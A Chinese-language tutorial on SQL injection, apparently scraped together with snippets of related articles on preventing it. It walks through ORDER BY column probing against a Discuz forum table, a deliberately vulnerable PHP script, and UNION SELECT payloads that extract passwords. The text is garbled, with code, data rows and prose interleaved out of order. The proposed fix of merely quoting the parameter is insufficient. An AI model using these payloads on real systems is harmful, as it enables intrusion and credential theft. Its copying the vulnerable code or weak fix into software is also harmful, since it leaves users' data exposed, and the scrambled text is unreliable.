一、查詢表中包含有多少列: 這裡以discuz舉例說明,如下
select * from pre_forum_thread order by 80返回,unknown column '80' in 'order clause',這樣可以判定一定小於80列,下面再試用 39
select * from pre_forum_thread order by 39正常返回了資料,我們判定一定大於等於39,因此只要再試一下40就可以了,這裡略過試用,對於開源程式,我完全可以知道他就是有39列。 二、構造引數,讀取資料庫中的密碼 這裡以本地建立的乙個表為例,前提是引數沒有被過濾等操作,表 account 含有三個字段,分別為 id,admin,password 表內包含資料為:
1 admin 12345678建立php讀取資料庫檔案 x.php:2 test 134545
<?php訪問位址 返回資料 test,到這裡開始sql的注入使用,構造引數後的位址$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_get['id'])?$_get['id']:1;
$sql = "select * from `account` where id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query))
?>
union select 1,2,3 from `account` where id=2在返回資料中,發現2被返回了,因此,需要修改這裡的2位置為想要的字段內容,比如說 password ,即位址修改為
union select 1,password,3 from `account` where id=2執行位址後返回資料:
test這樣密碼就得到了。 當然這裡只是簡單的舉例說明,沒有對密碼進行md5加密,如果是md5加密或其它加密的話,仍然需要接下來的破解,就不是這裡主要講述的內容了。 此問題的解決辦法,說乙個最簡單的吧 ,將sql語句 $sql = "select * from `account` where id = " . $id; 修改為134545
$sql = "select * from `account` where id = '$id'";
三、在第二個問題中,發現使用者是使用了 while將所有資料進行迴圈得出的資料,如果使用者不是迴圈,而是直接輸出了最後一條資料怎麼辦呢?
這時,只要將引數重新修改,就可以只返回union回來的資料了,如下
union select 1,password,3 from `account` where id=2
因為表裡面沒有這條id=3的資料,又或者
and 1=2 union select 1,password,3 from `account` where id=2
這裡很明顯 1和2是不相等的
防止SQL注入的幾種方式
1 什麼是sql注入 簡而言之,就是客戶端向服務端傳送請求時,將sql指令插入到form表單或者url中,達到欺騙伺服器的目的,最終這些注入進去的sql指令就會被伺服器誤認為是正常的sql指令而執行,因此服務端的資訊就存在被破壞或是洩露的危險。2 sql注入的防護 了解了sql注入,就需要有針對性的...
防止SQL注入解決辦法
sql注入是我們在程式開發過程中經常要注意的問題,屬於發生於應用程式之資料庫層的安全漏洞,通過構建特殊的輸入作為引數傳入web應用程式,而這些輸入大都是sql語法裡的一些組合,通過執行sql語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。簡而言之,...
sql防注入解決辦法
sql防注入步驟 1.什麼是sql注入?我理解的sql注入就是一些人可以通過惡意的引數輸入,讓後台執行這段sql,然後達到獲取資料或者破壞資料庫的目的!舉個簡單的查詢例子,後台sql是拼接的 select from test where name 引數傳遞 前台jsp頁面要求輸入name,那麼黑客可...